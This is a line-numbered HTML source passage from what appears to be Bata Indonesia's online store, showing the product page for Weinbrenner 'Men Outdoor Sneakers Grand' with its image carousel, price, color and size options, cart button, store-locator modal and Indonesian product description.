  2207.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=817" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2208.        </picture>
  2209. </div>
  2210.                                    </div>
  2211.                            
  2212.                                
  2213.                                    <div class="cc-pdp-carousel-item" data-image-position="2">
  2214.                                        <div class="cc-container-dis-picture">
  2215.        <picture>
  2216.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2217.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=384 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=768 2x" media="(max-width: 767px)" width="720" height="720" />
  2218.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=547 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=1094 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2219.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=817 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=1634 2x" media="(min-width: 1200px)" width="817" height="817" />
  2220.                <!--[if IE 9]></video><![endif]-->
  2221.  
  2222.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=817" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2223.        </picture>
  2224. </div>
  2225.                                    </div>
  2226.                            
  2227.                                
  2228.                                    <div class="cc-pdp-carousel-item" data-image-position="3">
  2229.                                        <div class="cc-container-dis-picture">
  2230.        <picture>
  2231.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2232.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=384 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=768 2x" media="(max-width: 767px)" width="720" height="720" />
  2233.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=547 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=1094 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2234.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=817 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=1634 2x" media="(min-width: 1200px)" width="817" height="817" />
  2235.                <!--[if IE 9]></video><![endif]-->
  2236.  
  2237.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=817" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2238.        </picture>
  2239. </div>
  2240.                                    </div>
  2241.                            
  2242.                                
  2243.                                    <div class="cc-pdp-carousel-item" data-image-position="4">
  2244.                                        <div class="cc-container-dis-picture">
  2245.        <picture>
  2246.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2247.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=384 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=768 2x" media="(max-width: 767px)" width="720" height="720" />
  2248.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=547 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=1094 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2249.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=817 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=1634 2x" media="(min-width: 1200px)" width="817" height="817" />
  2250.                <!--[if IE 9]></video><![endif]-->
  2251.  
  2252.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=817" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2253.        </picture>
  2254. </div>
  2255.                                    </div>
  2256.                            
  2257.                        
  2258.                    </div>
  2259.                </div>
  2260.            </div>
  2261.        </div>
  2262.    </div>
  2263. </div>
  2264.  
  2265.  
  2266.            
  2267.            
  2268.  
  2269.            <div class="pdp-col-description cc-pdp-col-description">
  2270.                <div class="cc-pdp-col-description__wrp">
  2271.                  
  2272.  
  2273.  
  2274.  
  2275.  
  2276.  
  2277.                    <!-- Product Name -->
  2278.                    <div class="cc-content-prod-name">
  2279.                        <h1 class="product-name cc-pdp-product-name">Men Outdoor Sneakers Grand</h1>
  2280.  
  2281.                        <!-- Wishlist -->
  2282.                        
  2283.                            
  2284.  
  2285.  
  2286.  
  2287.  
  2288. <button type="submit" class="add-to-wish-list cc-add-to-wish-list "
  2289.        data-add-href="/on/demandware.store/Sites-bata-id-Site/in_ID/Wishlist-AddProduct"
  2290.        data-remove-href="/on/demandware.store/Sites-bata-id-Site/in_ID/Wishlist-RemoveProduct">
  2291.        <span class="cc-add-wishlist wishlist-content-add">
  2292.            <svg class="iconClassCommon cc-wishlist-icon">
  2293.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-wishlist" />
  2294. </svg> <span class="cc-pdp__tooltip">Tambahkan ke daftar keinginan</span>
  2295.        </span>
  2296.        <span class="cc-remove-wishlist wishlist-content-remove d-none">
  2297.            <svg class="iconClassCommon cc-wishlist-icon">
  2298.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-wishlist-full" />
  2299. </svg> <span class="cc-pdp__tooltip">Hapus dari daftar keinginan</span>
  2300.        </span>
  2301. </button>
  2302.  
  2303.                        
  2304.                    </div>
  2305.                    <!-- Prices -->
  2306.                    <div class="prices cc-pdp-prices">
  2307.                        
  2308.                        
  2309.                        
  2310.    
  2311.    
  2312.    <div class="cc-price--wrapper">
  2313.        
  2314.        
  2315.        
  2316.  
  2317.        <span class="sales  ">
  2318.            
  2319.            
  2320.            
  2321.                <span class="cc-price" content="449900.00">
  2322.            
  2323.                Rp 449,900
  2324.  
  2325.  
  2326.            </span>
  2327.        </span>
  2328.  
  2329.        
  2330.            
  2331.        
  2332.    </div>
  2333.  
  2334.  
  2335.  
  2336.  
  2337.                        
  2338.  
  2339.  
  2340.  
  2341.  
  2342.  
  2343.  
  2344.  
  2345.  
  2346.  
  2347.  
  2348.  
  2349.    
  2350.    
  2351.            
  2352.            
  2353.    
  2354.  
  2355.  
  2356.  
  2357.  
  2358.  
  2359.  
  2360.  
  2361.  
  2362.  
  2363.                        
  2364.                    </div>
  2365.  
  2366.                    <!-- Applicable Promotions -->
  2367.                    <div class="pdp-promotions">
  2368.                        
  2369.  
  2370.  
  2371.    
  2372.  
  2373.  
  2374.                    </div>
  2375.  
  2376.                    <div class="attributes cc-attributes">
  2377.                        <!-- Attributes and Quantity -->
  2378.                        
  2379.  
  2380.                        
  2381.                        
  2382.  
  2383.                        
  2384.                        
  2385.  
  2386.  
  2387.  
  2388.    
  2389.        <div data-attr="color">
  2390.            
  2391.  
  2392.  
  2393.  
  2394.  
  2395.  
  2396.  
  2397.  
  2398.  
  2399. <div class="attribute">
  2400.    
  2401.  
  2402.        <!-- Select <Attribute> Label -->
  2403.  
  2404.        
  2405.        
  2406.  
  2407.        <div class="color-selected cc-color-selected">
  2408.            <span>Warna </span>
  2409.            <span class="color-value" data-placeholder="Pilih warna">
  2410.                
  2411.                    
  2412.                        
  2413.                        
  2414.                        HITAM
  2415.                    
  2416.                
  2417.                    
  2418.                
  2419.                
  2420.            </span>
  2421.        </div>
  2422.  
  2423.        <!-- Circular Swatch Image Attribute Values -->
  2424.        
  2425.        <div class="swatches-container cc-swatches-container">
  2426.            
  2427.                
  2428.                
  2429.                
  2430.                    
  2431.                    <button class="color-attribute cc-color-attribute js-colorAttribute cc-imageAttribute selectable selected analytics-variantSelected"
  2432.                        aria-label="Pilih Warna HITAM"
  2433.                        aria-describedby="BLACK" data-url="https://www.bata.com/on/demandware.store/Sites-bata-id-Site/in_ID/Product-Variation?dwvar_540M__ER84000541M_color=&amp;pid=540M_ER84000541M&amp;quantity=1"
  2434.                        data-value="HITAM" data-color="BLACK">
  2435.                        
  2436.                            
  2437.                            
  2438.                            <span data-attr-value="BLACK" class="color-value swatch-value cc-image">
  2439.                                <div class="cc-container-dis-picture">
  2440.        <picture>
  2441.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2442.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwce476611/images/tile/8406005_1.jpg?sw=385 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwce476611/images/tile/8406005_1.jpg?sw=770 2x" media="(max-width: 767px)" width="720" height="720" />
  2443.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwce476611/images/tile/8406005_1.jpg?sw=600 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwce476611/images/tile/8406005_1.jpg?sw=1200 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2444.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwce476611/images/tile/8406005_1.jpg?sw=480 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwce476611/images/tile/8406005_1.jpg?sw=960 2x" media="(min-width: 1200px)" width="817" height="817" />
  2445.                <!--[if IE 9]></video><![endif]-->
  2446.  
  2447.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwce476611/images/tile/8406005_1.jpg?sw=480" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2448.        </picture>
  2449. </div>
  2450.                            </span>
  2451.                        
  2452.                        <span id="BLACK" class="sr-only selected-assistive-text">
  2453.                            terpilih
  2454.                        </span>
  2455.                    </button>
  2456.                
  2457.            
  2458.                
  2459.                
  2460.                
  2461.                    
  2462.                    <button class="color-attribute cc-color-attribute js-colorAttribute cc-imageAttribute selectable  analytics-variantSelected"
  2463.                        aria-label="Pilih Warna KHAKY"
  2464.                        aria-describedby="KHAKI" data-url="https://www.bata.com/on/demandware.store/Sites-bata-id-Site/in_ID/Product-Variation?dwvar_540M__ER84000541M_color=KHAKI&amp;pid=540M_ER84000541M&amp;quantity=1"
  2465.                        data-value="KHAKY" data-color="KHAKI">
  2466.                        
  2467.                            
  2468.                            
  2469.                            <span data-attr-value="KHAKI" class="color-value swatch-value cc-image">
  2470.                                <div class="cc-container-dis-picture">
  2471.        <picture>
  2472.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2473.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw281aca7d/images/tile/8408005_1.jpg?sw=385 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw281aca7d/images/tile/8408005_1.jpg?sw=770 2x" media="(max-width: 767px)" width="720" height="720" />
  2474.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw281aca7d/images/tile/8408005_1.jpg?sw=600 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw281aca7d/images/tile/8408005_1.jpg?sw=1200 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2475.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw281aca7d/images/tile/8408005_1.jpg?sw=480 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw281aca7d/images/tile/8408005_1.jpg?sw=960 2x" media="(min-width: 1200px)" width="817" height="817" />
  2476.                <!--[if IE 9]></video><![endif]-->
  2477.  
  2478.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw281aca7d/images/tile/8408005_1.jpg?sw=480" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2479.        </picture>
  2480. </div>
  2481.                            </span>
  2482.                        
  2483.                        <span id="KHAKI" class="sr-only selected-assistive-text">
  2484.                            
  2485.                        </span>
  2486.                    </button>
  2487.                
  2488.            
  2489.        </div>
  2490.    
  2491. </div>
  2492.  
  2493.  
  2494.  
  2495.  
  2496.  
  2497.  
  2498.            
  2499.        </div>
  2500.    
  2501.        <div data-attr="id_sizecode_d">
  2502.            
  2503.  
  2504.  
  2505.  
  2506.  
  2507.  
  2508.  
  2509.  
  2510.  
  2511. <div class="attribute">
  2512.    
  2513.        <div class="color-selected cc-color-selected ">
  2514.    <span>Tipe ukuran </span>
  2515.    <span class="js-size-type cc-size-type-value-pdp">EU</span>
  2516. </div>
  2517.  
  2518.        <!-- Select <Attribute> Label -->
  2519.        
  2520.        
  2521.  
  2522.  
  2523.            
  2524.            
  2525.  
  2526.            <div class="cc-size-label-container">
  2527.                <div class="size-selected cc-size-selected">
  2528.                    <span>Ukuran </span>
  2529.                    <span class="size-value cc-size-value" data-placeholder="null">
  2530.                        
  2531.                            
  2532.                        
  2533.                            
  2534.                        
  2535.                            
  2536.                        
  2537.                            
  2538.                        
  2539.                            
  2540.                        
  2541.                            
  2542.                        
  2543.                            
  2544.                        
  2545.                            
  2546.                        
  2547.                            
  2548.                        
  2549.                        
  2550.                    </span>
  2551.                </div>
  2552.  
  2553.                
  2554.                <div class="size-guide-asset-container cc-size-guide-asset-container">
  2555.                    <span class="cc-size-guide-not-found js-error-size-guide d-none">
  2556.                        product.size.guide.unavailable
  2557.                    </span>
  2558.                    <a class="cc-size-guide-asset-link" id="size-guide-asset" data-cmp="dialogLink"
  2559.                        data-dialog-class="b-size-guide__pop-up"
  2560.                        href="/on/demandware.store/Sites-bata-id-Site/in_ID/Product-ContentAssetInPdp?asset=size-guide-asset&amp;pid=540M_2023_8406005">
  2561.                        <svg class="iconClassCommon cc-sizeguide-icon">
  2562.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-sizeguide" />
  2563. </svg>
  2564.                        Petunjuk Ukuran
  2565.                    </a>
  2566.  
  2567.                </div>
  2568.            </div>
  2569.  
  2570.            <!-- Attribute Values Drop Down Menu -->
  2571.            <div class="container-size-list cc-container-size-list" id="size-null">
  2572.                
  2573.                
  2574.                <ul id="size-ul-list" class="cc-size-ul-list"
  2575.                    data-low-stock-treshold="5.0"
  2576.                    data-hide-out-of-stock-swatches="true">
  2577.                    
  2578.                        
  2579.                        
  2580.                    
  2581.                        
  2582.                        
  2583.                    
  2584.                        
  2585.                        
  2586.                    
  2587.                        
  2588.                        
  2589.                    
  2590.                        
  2591.                        
  2592.                    
  2593.                        
  2594.                        
  2595.                    
  2596.                        
  2597.                        
  2598.                            
  2599.                            
  2600.                            
  2601.                                <li class="single-size-tile cc-single-size-tile  selectable low-stock"
  2602.                                    data-display-value="44" data-size="100" data-attr-value="100"
  2603.                                    value="https://www.bata.com/on/demandware.store/Sites-bata-id-Site/in_ID/Product-Variation?dwvar_540M__ER84000541M_color=BLACK&amp;dwvar_540M__ER84000541M_id_sizecode_d=100&amp;pid=540M_ER84000541M&amp;quantity=1">44</li>
  2604.                            
  2605.                        
  2606.                    
  2607.                        
  2608.                        
  2609.                    
  2610.                        
  2611.                        
  2612.                    
  2613.                </ul>
  2614.            </div>
  2615.        
  2616.    
  2617. </div>
  2618.  
  2619.  
  2620.  
  2621.  
  2622.  
  2623.  
  2624.            
  2625.                <!-- Quantity Drop Down Menu -->
  2626.                <div class="attribute quantity d-none">
  2627.                    
  2628. <select class="quantity-select custom-select form-control d-none" id="quantity-1">
  2629.        <option value="1" selected > 1 </option>
  2630. </select>
  2631.  
  2632.  
  2633.  
  2634.                </div>
  2635.            
  2636.        </div>
  2637.    
  2638.  
  2639.  
  2640.                        
  2641.  
  2642.                        
  2643.  
  2644.                        <!-- Product Availability -->
  2645.                        <!-- Availability -->
  2646. <div class="availability product-availability cc-product-availability" data-ready-to-order="false" data-available="true">
  2647.    
  2648.  
  2649.  
  2650.    
  2651.  
  2652.    
  2653.        
  2654.    
  2655.  
  2656. <div class="list-unstyled availability-msg cc-availability-msg">
  2657.    
  2658.        <div class="b-pdp__availability b-pdp__availability-select h-hidden js-reminder-hint availability-msg-hint d-none"
  2659.            data-cmp="block" data-id="reminderHint">
  2660.            
  2661.                Pilih ukuran
  2662.            
  2663.        </div>
  2664.    
  2665. </div>
  2666.  
  2667. </div>
  2668.  
  2669.  
  2670.                        
  2671.  
  2672.  
  2673.                        
  2674.                        
  2675.  
  2676.                        <div class = "js-club-price d-none">
  2677.                            
  2678.                        </div>
  2679.  
  2680.                        
  2681.  
  2682.  
  2683.                        <div class="prices-add-to-cart-actions cc-prices-add-to-cart-actions">
  2684.                            <!-- Cart and [Optionally] Apple Pay -->
  2685.                            <div class="row">
  2686.  
  2687.                                
  2688.                                
  2689.                                <div class="col-sm">
  2690.                                    <div class="cart-and-ipay">
  2691.    <input type="hidden" class="add-to-cart-url" value="/on/demandware.store/Sites-bata-id-Site/in_ID/Cart-AddProduct">
  2692.    <button id="addToCartButton" class="add-to-cart cc-button-type-1" data-toggle="modal" data-target="#chooseBonusProductModal"
  2693.        data-pid="540M_2023_8406005" data-is-disabled='true'
  2694.        >
  2695.        Masukkan Keranjang
  2696.    </button>
  2697.    
  2698. </div>
  2699.  
  2700.                                </div>
  2701.                            </div>
  2702.  
  2703.                            <div class="cc-pdp__shippingMsg">
  2704.                                
  2706.  
  2708.                            </div>
  2709.  
  2710.                            
  2711.                                
  2712.                                
  2713.  
  2714.  
  2715.  
  2716.  
  2717.  
  2718. <button type="button"
  2719.        data-target="#modalFindInStore"
  2720.        data-toggle="modal"
  2721.        id="findInStoreButton"
  2722.        data-cmp="findInStoreButton"
  2723.        data-dialog-class="ui-find-in-store"
  2724.        data-title="Temukan di toko"
  2725.        data-url-target="/on/demandware.store/Sites-bata-id-Site/in_ID/Stores-FindInStores"
  2726.        data-url-customer="/on/demandware.store/Sites-bata-id-Site/in_ID/Stores-CustomerInfo"
  2727.        data-address-customer
  2728.        data-pid="540M_2023_8406005"
  2729.        data-product-type="variationGroup"
  2730.        data-cmp-id="findInStoreButton"
  2731.        data-userposition-error="Maaf, barang ini saat ini tidak tersedia di toko kami."
  2732.        class="b-pdp__findinstore cc-button-type-2 cc-pdp__findinstore "
  2733.    >
  2734.    Temukan di toko
  2735. </button>
  2736.  
  2737.                            
  2738.  
  2739.                            
  2740.                        </div>
  2741.                    </div>
  2742.                </div>
  2743.  
  2744.                
  2745.                
  2746.                    <div class="modal fade cc-modal-find-in-store cc-modal-animation pr-0" id="modalFindInStore" tabindex="-1" role="dialog" aria-labelledby="modalFindInStoreTitle"
  2747.    aria-hidden="true">
  2748.    <script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyABjgT7xQEGJeoVlnCr9apaFrdjE7i33n8&amp;libraries=geometry,places" async></script>
  2749.    <div class="modal-dialog modal-dialog-centered" role="document">
  2750.        <div class="modal-content">
  2751.            <div class="modal-header cc-pdp-modal-header">
  2752.                <span class="cc-pdp-modal-header-title" id="modalFindInStoreLongTitle">Temukan di toko</span>
  2753.                <button type="button" class="button-close cc-pdp-button-close" data-dismiss="modal" aria-label="Close">
  2754.                    <span aria-hidden="true" class="icon-close-remove"></span>
  2755.                </button>
  2756.            </div>
  2757.            <div class="b-find-store__description cc-find-store__description">
  2758.                
  2759.    
  2760.    <div class="content-asset"><!-- dwMarker="content" dwContentID="2101ab4e8d7c1424e0bac00b9b" -->
  2761.        <p>Sebelum memilih toko, perlu diingat produk tersedia mungkin bisa dipengaruhi oleh transaksi offline yang sedang berjalan atau customer lain yang sedang bertransaksi online di waktu yang sama.</p>
  2762.    </div> <!-- End content-asset -->
  2763.  
  2764.  
  2765.  
  2766.            </div>
  2767.            <div class="modal-container-loader">
  2768.                <div class="modal-form">
  2769.                    <div class="form-group cc-form-group required">
  2770.                        <div class="cc-content-input cc-content-icon">
  2771.                            
  2772.                            <input class="form-control cc-input cc-find-in-store-input" id="queryStoreParam" name="queryStoreParam"
  2773.                                value=""
  2774.                                autocomplete="nofill"
  2775.                                placeholder="Masukkan kota, alamat atau pin lokasi"
  2776.                                data-place-types=""
  2777.                                data-template-pin="storeMarkerTemplate"
  2778.                                data-template-tile="clickCollectStoreListTemplate"
  2779.                                required
  2780.                                type="text">
  2781.                            <label class="cc-label">Masukkan kota, alamat atau pin lokasi</label>
  2782.                            <button class="btn-storelocator-search" type="submit"
  2783.                                id="searchStore">cari</button>
  2784.                        </div>
  2785.                        <div class="invalid-feedback"></div>
  2786.                    </div>
  2787.  
  2788.                </div>
  2789.                <div class="modal-body-wrapper">
  2790.                    <div class="modal-body cc-modal-body">
  2791.                        
  2792.                    </div>
  2793.  
  2794.                    <div class="modal-footer">
  2795.                        <button type="button" class="cc-button-type-1 cc-load-more" id="storeLoadMore">Tampilkan berikutnya</button>
  2796.                    </div>
  2797.                </div>
  2798.            </div>
  2799.        </div>
  2800.    </div>
  2801.    <template id="singleStoreTile">
  2802.        <div class="card-body storeDescription d-none js-storeContainer grid-item">
  2803.            <div class="store-details js-storeId" data-store-id="" type="" storebrand="">
  2804.                <div class="store-title">
  2805.                    <a class="js-storeName" href=""></a>
  2806.                </div>
  2807.                <div class="store-distance js-storeDistance"></div>
  2808.                <address class="cc-address-wrp">
  2809.                    <div class="cc-address-container">
  2810.                        <span class="js-storeAddress"></span>
  2811. <span class="js-storeSubdistrict"></span>
  2812. <span class="js-storeDistrict"></span>
  2813. <span class="js-storeCity"></span>
  2814. <span class="js-storeStateCode"></span>
  2815. <span class="js-postalCode"></span>
  2816.  
  2817.                    </div>
  2818.                    <div class="cc-advanced-info-container">
  2819.                        <span class="cc-phone">
  2820.                            account.order.detail.tel <a class="storelocator-phone js-storePhone" href=""></a>
  2821.                        </span>
  2822.                        <div class="store-hours js-storeHours"></div>
  2823.                    </div>
  2824.                </address>
  2825.            </div>
  2826.        </div>
  2827.    </template>
  2828. </div>
  2829.  
  2830.                
  2831.  
  2832.                <div id="destination-size-guide-modal" class="d-none">
  2833.                    <div id="size-modal" class="modal fade cc-pdp-size-guide-modal cc-modal-animation pr-0" tabindex="-1" role="dialog">
  2834.                        <div class="modal-dialog modal-dialog-centered" role="document">
  2835.                            <div class="modal-content">
  2836.                                <div class="modal-header cc-pdp-modal-header">
  2837.                                    <span class="cc-pdp-modal-header-title">Petunjuk Ukuran</span>
  2838.                                    <button type="button" class="button-close cc-pdp-button-close"
  2839.                                        data-dismiss="modal" aria-label="Close">
  2840.                                        <span aria-hidden="true" class="icon-close-remove"></span>
  2841.                                    </button>
  2842.                                </div>
  2843.                                <div class="content cc-container-content-asset-sizeguide">
  2844.                                    
  2845.                                </div>
  2846.                            </div>
  2847.                        </div>
  2848.                    </div>
  2849.                </div>
  2850.            </div>
  2851.        </div>
  2852.  
  2853.        <div class="cc-pdp-details-section">
  2854.            <div class="cc-pdp-details-section__wrp">
  2855.                <div class="cc-pdp-details-section__col cc-pdp-details-section__col--left">
  2856.                    <!-- Brand Logo -->
  2857. <div class="brand-logo">
  2858.    
  2859.    <img
  2860.        src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="
  2861.        data-lazy="https://www.bata.com/on/demandware.static/-/Sites-bata-id-Library/default/dwe3092a59/brand/weinbrenner.png"
  2862.        class="b-lazyload cc-no-placeholder cc-pdp__logo"
  2863.        alt="WEINBRENNER"
  2864.        title="WEINBRENNER"
  2865.        data-target="brandLogo"
  2866.        width="104"
  2867.        height="24"
  2868.    />
  2869. </div>
  2870.  
  2871. <div
  2872.    class="">
  2873.  
  2874.    <span class="cc-pdp__description" data-target="longDescription">
  2875.        Weinbrenner kembali menghadirkan alas kaki untuk membuat penampilan Anda semakin fashionable dan stylish. Produk fashion ini semakin sempurna dengan material PU dan model desain yang begitu trendi dan dinamis. Alas kaki ini pun nyaman juga ringan dengan sol kuat sehingga Anda dapat tampil gaya sekaligus nyaman beraktivitas seharian dengan sepatu ini. Material berkualitas pada alas kaki ini tidak hanya mudah dicuci atau dibersihkan tapi juga tahan lama. Jalani hari dengan tampilan memesona dan kaki yang nyaman hanya dengan alas kaki istimewa satu ini.
  2876.    </span>
  2877. </div>
  2878.  
  2879. <div
  2880.    class="cc-pdp__description__article ">
  2881.    <span
  2882.        class="cc-description-attribute-label">Nomer Barang :</span>
  2883.    <span data-target="articleNo">
  2884.        8406005</span>
  2885.    
  2886.  
  2887. </div>
  2888.  
  2889.  
  2890.  
  2891.    
  2892.  
  2893.  
  2894.  
  2895. <div class="cc-pdp__features ">
  2896.    <div class="cc-pdp__features__keyBenefits d-none">
  2897.        <div class="cc-pdp-description-subtitle-label">Karakteristik</div>
  2898.        <div class="b-pdp__description b-pdp_benefits-list" data-target="keyBenefits">
  2899.            
  2900.        </div>
  2901.    </div>
  2902.  
  2903.    <ul class="cc-pdp__features__ul">
  2904.        
  2905.        <li class="d-none" data-target="productWeight">
  2906.            <span class="cc-description-attribute-label">Berat</span>
  2907.            
  2908.        </li>
  2909.  
  2910.        
  2911.        <li class="d-none" data-target="heelToToe">
  2912.            <span  class="cc-description-attribute-label">Tinggi Tumit</span>
  2913.            
  2914.        </li>
  2915.  
  2916.        
  2917.        <li class="d-none" data-target="hemSize">
  2918.            <span class="cc-description-attribute-label">ukuran tepian:</span>
  2919.            
  2920.        </li>
  2921.  
  2922.        
  2923.        <li class="" data-target="heelHeight">
  2924.            <span class="cc-description-attribute-label">Tinggi hak :</span>
  2925.            1.0000
  2926.        </li>
  2927.  
  2928.        
  2929.        <li class="d-none" data-target="platformHeight">
  2930.            <span class="cc-description-attribute-label">product.tabs.platform.height</span>
  2931.            
  2932.        </li>
  2933.  
  2934.        
  2935.        <li class="d-none" data-target="shoeHeight">
  2936.            <span class="cc-description-attribute-label">Tinggi sepatu :</span>
  2937.            
  2938.        </li>
  2939.  
  2940.        
  2941.        <li class="d-none" data-target="dimHeight">
  2942.            <span class="cc-description-attribute-label">Tinggi:</span>
  2943.            
  2944.        </li>
  2945.  
  2946.        
  2947.        <li class="d-none" data-target="dimWidth">
  2948.            <span class="cc-description-attribute-label">Panjang:</span>
  2949.            
  2950.        </li>
  2951.  
  2952.        
  2953.        <li class="d-none" data-target="dimDepth">
